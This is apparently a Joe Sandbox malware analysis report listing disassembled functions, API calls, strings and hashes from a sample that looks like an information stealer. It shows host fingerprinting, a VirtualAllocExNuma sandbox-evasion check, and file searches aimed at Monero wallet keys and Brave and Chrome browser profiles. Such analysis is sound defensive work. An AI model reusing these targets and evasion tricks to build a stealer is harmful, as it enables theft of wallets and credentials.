Associated: 00000000.00000002.1735090731.00000000007D8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.00000000007FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.0000000000802000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.0000000000811000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735549081.0000000000812000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735665978.00000000009A6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735682673.00000000009A7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_320000_file.jbxd

Yara matches

Similarity

API ID: Internet$HttpOpenRequest$ConnectOptionSendlstrcpy
String ID: ERROR$ERROR
API String ID: 3287882509-2579291623
Opcode ID: e88cebc6782aa427a93720d8da0dd60e7e747ecb4ede470524316e8d62687f12
Instruction ID: 18aa17a3be4c5296e4a45404fb5052fd76706389f5c3fb5a16855f83047f07d8
Opcode Fuzzy Hash: e88cebc6782aa427a93720d8da0dd60e7e747ecb4ede470524316e8d62687f12
Instruction Fuzzy Hash: 98117030800908ABCB06FFA4DDD2AED3738AF50300F404558F84A4F592EF34AB05DA91

Function 003378E0 Relevance: 4.5, APIs: 3, Instructions: 40memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 00337910
RtlAllocateHeap.NTDLL(00000000), ref: 00337917
GetComputerNameA.KERNEL32(?,00000104), ref: 0033792F

Memory Dump Source

Source File: 00000000.00000002.1734754441.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000000.00000002.1734730369.0000000000320000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734754441.00000000003D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734754441.00000000003DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734754441.0000000000402000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734754441.000000000056A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.000000000057E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.00000000007D8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.00000000007FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.0000000000802000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.0000000000811000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735549081.0000000000812000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735665978.00000000009A6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735682673.00000000009A7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_320000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateComputerNameProcess
String ID:
API String ID: 1664310425-0
Opcode ID: 6ae7ed210da8c5b9820d40d9ffe3af2203132e5997e517094067ca69c096a645
Instruction ID: 1b653c051b00136d40ecd615383c4d9003f8febc2ada86bfeeb1920f273223cb
Opcode Fuzzy Hash: 6ae7ed210da8c5b9820d40d9ffe3af2203132e5997e517094067ca69c096a645
Instruction Fuzzy Hash: BD0181B1A04208EBD710DF98DD85BAABBBCFB04B21F10421AFA45E7680C37459048BA2

Function 00321110 Relevance: 4.5, APIs: 3, Instructions: 21memoryCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(00000000,000007D0,00003000,00000040,00000000), ref: 0032112B
VirtualAllocExNuma.KERNEL32(00000000), ref: 00321132
ExitProcess.KERNEL32 ref: 00321143

Memory Dump Source

Source File: 00000000.00000002.1734754441.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000000.00000002.1734730369.0000000000320000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734754441.00000000003D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734754441.00000000003DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734754441.0000000000402000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734754441.000000000056A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.000000000057E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.00000000007D8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.00000000007FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.0000000000802000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.0000000000811000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735549081.0000000000812000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735665978.00000000009A6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735682673.00000000009A7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_320000_file.jbxd

Yara matches

Similarity

API ID: Process$AllocCurrentExitNumaVirtual
String ID:
API String ID: 1103761159-0
Opcode ID: 4715500cb45fcb7df496b6f406cce6f0d9b6782f6b47322d7d228defc08c3c7f
Instruction ID: 92f66c899362117020d0a9e352d920e60c60e2c14511c3800e3aa25fe71cd75f
Opcode Fuzzy Hash: 4715500cb45fcb7df496b6f406cce6f0d9b6782f6b47322d7d228defc08c3c7f
Instruction Fuzzy Hash: 7CE0E670945348FBE7106BA4AD0AB097678EB14B01F104054F7097B1D0D6F52645AA99

Function 003210A0 Relevance: 2.5, APIs: 2, Instructions: 41memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,17C841C0,00003000,00000004), ref: 003210B3
VirtualFree.KERNEL32(00000000,17C841C0,00008000,00000000,05E69EC0), ref: 003210F7

Memory Dump Source

Source File: 00000000.00000002.1734754441.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000000.00000002.1734730369.0000000000320000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734754441.00000000003D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734754441.00000000003DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734754441.0000000000402000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734754441.000000000056A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.000000000057E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.00000000007D8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.00000000007FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.0000000000802000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.0000000000811000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735549081.0000000000812000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735665978.00000000009A6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735682673.00000000009A7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_320000_file.jbxd

Yara matches

Similarity

API ID: Virtual$AllocFree
String ID:
API String ID: 2087232378-0
Opcode ID: 066dd5887b72afb7a7700ced5af50f54bc20cb61a8232fc444fb4a0e39fa1d86
Instruction ID: 25694bb7fa5ccf1271f2933bb188a52d4087fdab12344c01ddd42af8c8c75619
Opcode Fuzzy Hash: 066dd5887b72afb7a7700ced5af50f54bc20cb61a8232fc444fb4a0e39fa1d86
Instruction Fuzzy Hash: ABF02771641318BBE7149BA8AC49FBFB7ECE705B15F305448F504E7280D572AF44DAA0

Function 00321190 Relevance: 1.5, APIs: 1, Instructions: 22COMMON

Download Yara Rule

APIs

Part of subcall function 003378E0: GetProcessHeap.KERNEL32(00000000,00000104), ref: 00337910
Part of subcall function 003378E0: RtlAllocateHeap.NTDLL(00000000), ref: 00337917
Part of subcall function 003378E0: GetComputerNameA.KERNEL32(?,00000104), ref: 0033792F

Part of subcall function 00337850: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,003211B7), ref: 00337880
Part of subcall function 00337850: RtlAllocateHeap.NTDLL(00000000), ref: 00337887
Part of subcall function 00337850: GetUserNameA.ADVAPI32(00000104,00000104), ref: 0033789F

ExitProcess.KERNEL32 ref: 003211C6

Memory Dump Source

Source File: 00000000.00000002.1734754441.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000000.00000002.1734730369.0000000000320000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734754441.00000000003D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734754441.00000000003DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734754441.0000000000402000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734754441.000000000056A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.000000000057E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.00000000007D8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.00000000007FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.0000000000802000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.0000000000811000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735549081.0000000000812000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735665978.00000000009A6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735682673.00000000009A7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_320000_file.jbxd

Yara matches

Similarity

API ID: Heap$Process$AllocateName$ComputerExitUser
String ID:
API String ID: 3550813701-0
Opcode ID: ed2a48753433a65663240951793fa538ee9b71c3b8c6fb1e8ed2f5d030b7e428
Instruction ID: 630ebe7820db32b678270d7fb65046ba11dcca90a03de5378373e899d63dc4e8
Opcode Fuzzy Hash: ed2a48753433a65663240951793fa538ee9b71c3b8c6fb1e8ed2f5d030b7e428
Instruction Fuzzy Hash: 5BE012B591430953CE1173B8BD4BB2A339C9B34345F040425FA05EB212FAA5F8149967

Non-executed Functions

Function 003338B0 Relevance: 45.8, APIs: 21, Strings: 5, Instructions: 250filestringCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 003338CC
FindFirstFileA.KERNEL32(?,?), ref: 003338E3
lstrcat.KERNEL32(?,?), ref: 00333935
StrCmpCA.SHLWAPI(?,00340F70), ref: 00333947
StrCmpCA.SHLWAPI(?,00340F74), ref: 0033395D
FindNextFileA.KERNEL32(000000FF,?), ref: 00333C67
FindClose.KERNEL32(000000FF), ref: 00333C7C

Strings

%s%s, xrefs: 00333AAD
%s\%s, xrefs: 00333A6F
%s\%s\%s, xrefs: 00333A4A
%s\%s, xrefs: 0033397A
%s\*, xrefs: 003338C0

Memory Dump Source

Source File: 00000000.00000002.1734754441.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000000.00000002.1734730369.0000000000320000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734754441.00000000003D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734754441.00000000003DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734754441.0000000000402000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734754441.000000000056A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.000000000057E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.00000000007D8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.00000000007FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.0000000000802000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.0000000000811000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735549081.0000000000812000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735665978.00000000009A6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735682673.00000000009A7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_320000_file.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextlstrcatwsprintf
String ID: %s%s$%s\%s$%s\%s$%s\%s\%s$%s\*
API String ID: 1125553467-2524465048
Opcode ID: 1d16b51ba7eb5db1dc385e026c4821df5c73bee6a1593e7f5da8382b77a21d0e
Instruction ID: 9dddfadb0482e9e54ca6f36ca35d6e8771bababd580a4ae484ad819d5eb6ea59
Opcode Fuzzy Hash: 1d16b51ba7eb5db1dc385e026c4821df5c73bee6a1593e7f5da8382b77a21d0e
Instruction Fuzzy Hash: 3DA101B1A002189BDB25DB64DC85FEA7379BF54300F048598F64DAB141EB75AB88CF62

Function 0032BE70 Relevance: 37.4, APIs: 17, Strings: 4, Instructions: 675fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0033A740: lstrcpy.KERNEL32(00340E17,00000000), ref: 0033A788

Part of subcall function 0033A920: lstrcpy.KERNEL32(00000000,?), ref: 0033A972
Part of subcall function 0033A920: lstrcat.KERNEL32(00000000), ref: 0033A982

Part of subcall function 0033A9B0: lstrlen.KERNEL32(?,01099048,?,\Monero\wallet.keys,00340E17), ref: 0033A9C5
Part of subcall function 0033A9B0: lstrcpy.KERNEL32(00000000), ref: 0033AA04
Part of subcall function 0033A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0033AA12

Part of subcall function 0033A8A0: lstrcpy.KERNEL32(?,00340E17), ref: 0033A905

FindFirstFileA.KERNEL32(00000000,?,00340B32,00340B2B,00000000,?,?,?,003413F4,00340B2A), ref: 0032BEF5
StrCmpCA.SHLWAPI(?,003413F8), ref: 0032BF4D
StrCmpCA.SHLWAPI(?,003413FC), ref: 0032BF63
FindNextFileA.KERNEL32(000000FF,?), ref: 0032C7BF
FindClose.KERNEL32(000000FF), ref: 0032C7D1

Strings

Google Chrome, xrefs: 0032C634
Brave, xrefs: 0032C102
\Brave\Preferences, xrefs: 0032C1DB
Preferences, xrefs: 0032C11E

Memory Dump Source

Source File: 00000000.00000002.1734754441.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000000.00000002.1734730369.0000000000320000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734754441.00000000003D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734754441.00000000003DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734754441.0000000000402000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734754441.000000000056A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.000000000057E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.00000000007D8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.00000000007FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.0000000000802000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.0000000000811000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735549081.0000000000812000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735665978.00000000009A6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735682673.00000000009A7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_320000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID: Brave$Google Chrome$Preferences$\Brave\Preferences
API String ID: 3334442632-726946144
Opcode ID: 6533c49eaa843b210cd9dbbab08f4a4e3028e8221be198d3231bf28b7e4f2c29
Instruction ID: e99975a8fd42d253da3eabc0f8e90b871212f3a2e087c4d2447ceb195d96a825
Opcode Fuzzy Hash: 6533c49eaa843b210cd9dbbab08f4a4e3028e8221be198d3231bf28b7e4f2c29
Instruction Fuzzy Hash: A1426172910108ABCB16FBA4DDD6EED737CAF54300F404558F94AAB181EF34AB49DB92

Function 00334910 Relevance: 36.9, APIs: 18, Strings: 3, Instructions: 172fileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 0033492C
FindFirstFileA.KERNEL32(?,?), ref: 00334943
StrCmpCA.SHLWAPI(?,00340FDC), ref: 00334971
StrCmpCA.SHLWAPI(?,00340FE0), ref: 00334987
FindNextFileA.KERNEL32(000000FF,?), ref: 00334B7D
FindClose.KERNEL32(000000FF), ref: 00334B92

Strings

%s\%s, xrefs: 003349A4
%s\*, xrefs: 00334920
%s\%s, xrefs: 003349FB

Memory Dump Source

Source File: 00000000.00000002.1734754441.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000000.00000002.1734730369.0000000000320000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734754441.00000000003D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734754441.00000000003DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734754441.0000000000402000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734754441.000000000056A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.000000000057E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.00000000007D8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.00000000007FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.0000000000802000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.0000000000811000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735549081.0000000000812000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735665978.00000000009A6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735682673.00000000009A7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_320000_file.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\%s$%s\%s$%s\*
API String ID: 180737720-445461498
Opcode ID: 2d58a1364e2bc3b971f666ff690893a4693512e52e12c556bc26949e8c293e4e
Instruction ID: 10c9310813c91ba9cf16725b72e6832be0b4f21e86331d3a7a5ec415f41f0484
Opcode Fuzzy Hash: 2d58a1364e2bc3b971f666ff690893a4693512e52e12c556bc26949e8c293e4e
Instruction Fuzzy Hash: 4B616871900218ABCB25EBA4DC85FEA73BCBB58700F044598F649A7141EB75EB89CF91

Function 00334570 Relevance: 29.9, APIs: 15, Strings: 2, Instructions: 137stringmemoryfileCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,0098967F), ref: 00334580
RtlAllocateHeap.NTDLL(00000000), ref: 00334587
wsprintfA.USER32 ref: 003345A6
FindFirstFileA.KERNEL32(?,?), ref: 003345BD
StrCmpCA.SHLWAPI(?,00340FC4), ref: 003345EB
StrCmpCA.SHLWAPI(?,00340FC8), ref: 00334601
FindNextFileA.KERNEL32(000000FF,?), ref: 0033468B
FindClose.KERNEL32(000000FF), ref: 003346A0
lstrcat.KERNEL32(?,0109E908), ref: 003346C5
lstrcat.KERNEL32(?,0109DCC0), ref: 003346D8
lstrlen.KERNEL32(?), ref: 003346E5
lstrlen.KERNEL32(?), ref: 003346F6

Strings

%s\%s, xrefs: 0033461B
%s\*, xrefs: 0033459A

Memory Dump Source

Source File: 00000000.00000002.1734754441.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000000.00000002.1734730369.0000000000320000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734754441.00000000003D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734754441.00000000003DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734754441.0000000000402000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734754441.000000000056A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.000000000057E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.00000000007D8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.00000000007FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.0000000000802000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.0000000000811000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735549081.0000000000812000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735665978.00000000009A6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735682673.00000000009A7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_320000_file.jbxd

Yara matches

Similarity

API ID: Find$FileHeaplstrcatlstrlen$AllocateCloseFirstNextProcesswsprintf
String ID: %s\%s$%s\*
API String ID: 671575355-2848263008
Opcode ID: 23fea089ea197c95f92460b8e414d2f7549107999c0db732ff2c5660b1d4a560
Instruction ID: 9b1cd182f9e72bd96e89f04b7beb693dfbe8dbd8f101a4217ec1809810a4f7a9
Opcode Fuzzy Hash: 23fea089ea197c95f92460b8e414d2f7549107999c0db732ff2c5660b1d4a560
Instruction Fuzzy Hash: 335157B1940218ABC725EB74DC89FED737CAB64700F404598F609A7150EBB4AB899F91

Function 00333EA0 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 133fileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 00333EC3
FindFirstFileA.KERNEL32(?,?), ref: 00333EDA
StrCmpCA.SHLWAPI(?,00340FAC), ref: 00333F08
StrCmpCA.SHLWAPI(?,00340FB0), ref: 00333F1E
FindNextFileA.KERNEL32(000000FF,?), ref: 0033406C
FindClose.KERNEL32(000000FF), ref: 00334081

Strings

%s\%s, xrefs: 00333EB7

Memory Dump Source

Source File: 00000000.00000002.1734754441.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000000.00000002.1734730369.0000000000320000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734754441.00000000003D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734754441.00000000003DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734754441.0000000000402000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734754441.000000000056A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.000000000057E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.00000000007D8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.00000000007FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.0000000000802000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.0000000000811000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735549081.0000000000812000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735665978.00000000009A6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735682673.00000000009A7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_320000_file.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\%s
API String ID: 180737720-4073750446
Opcode ID: c2cf5ba99d110b258ce0ef06a2c99ec38fa69c5c7c8c97db508d2821988356a9
Instruction ID: 5eb3ed55a6817a81e3d6397d9cfe6e2a2239174db7da392885ea8859ba7a7061
Opcode Fuzzy Hash: c2cf5ba99d110b258ce0ef06a2c99ec38fa69c5c7c8c97db508d2821988356a9
Instruction Fuzzy Hash: AE5146B2900218ABCB25EBB4DC85FEE737CBB54700F404598F659A7040EB75EB899F91

Function 0032ED20 Relevance: 17.9, APIs: 9, Strings: 1, Instructions: 369fileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 0032ED3E
FindFirstFileA.KERNEL32(?,?), ref: 0032ED55
StrCmpCA.SHLWAPI(?,00341538), ref: 0032EDAB
StrCmpCA.SHLWAPI(?,0034153C), ref: 0032EDC1
FindNextFileA.KERNEL32(000000FF,?), ref: 0032F2AE
FindClose.KERNEL32(000000FF), ref: 0032F2C3

Strings

%s\*.*, xrefs: 0032ED32

Memory Dump Source

Source File: 00000000.00000002.1734754441.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000000.00000002.1734730369.0000000000320000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734754441.00000000003D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734754441.00000000003DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734754441.0000000000402000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734754441.000000000056A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.000000000057E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.00000000007D8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.00000000007FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.0000000000802000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.0000000000811000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735549081.0000000000812000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735665978.00000000009A6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735682673.00000000009A7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_320000_file.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\*.*
API String ID: 180737720-1013718255
Opcode ID: f6fbb233d00c6d155360539b45be41107869bd5baa0e1f670133751515271015
Instruction ID: 1ea20b68e10efea6ff2f86a524e30c767ca9fe4ab3c5dc843a3555b2970edfbc
Opcode Fuzzy Hash: f6fbb233d00c6d155360539b45be41107869bd5baa0e1f670133751515271015
Instruction Fuzzy Hash: 39E16572811618AADB56FB60DCD2EEE777CAF54300F4041D9B44A6A052EF306F8ADF51

Function 0032F6B0 Relevance: 16.0, APIs: 8, Strings: 1, Instructions: 275fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0033A740: lstrcpy.KERNEL32(00340E17,00000000), ref: 0033A788

Part of subcall function 0033A920: lstrcpy.KERNEL32(00000000,?), ref: 0033A972
Part of subcall function 0033A920: lstrcat.KERNEL32(00000000), ref: 0033A982

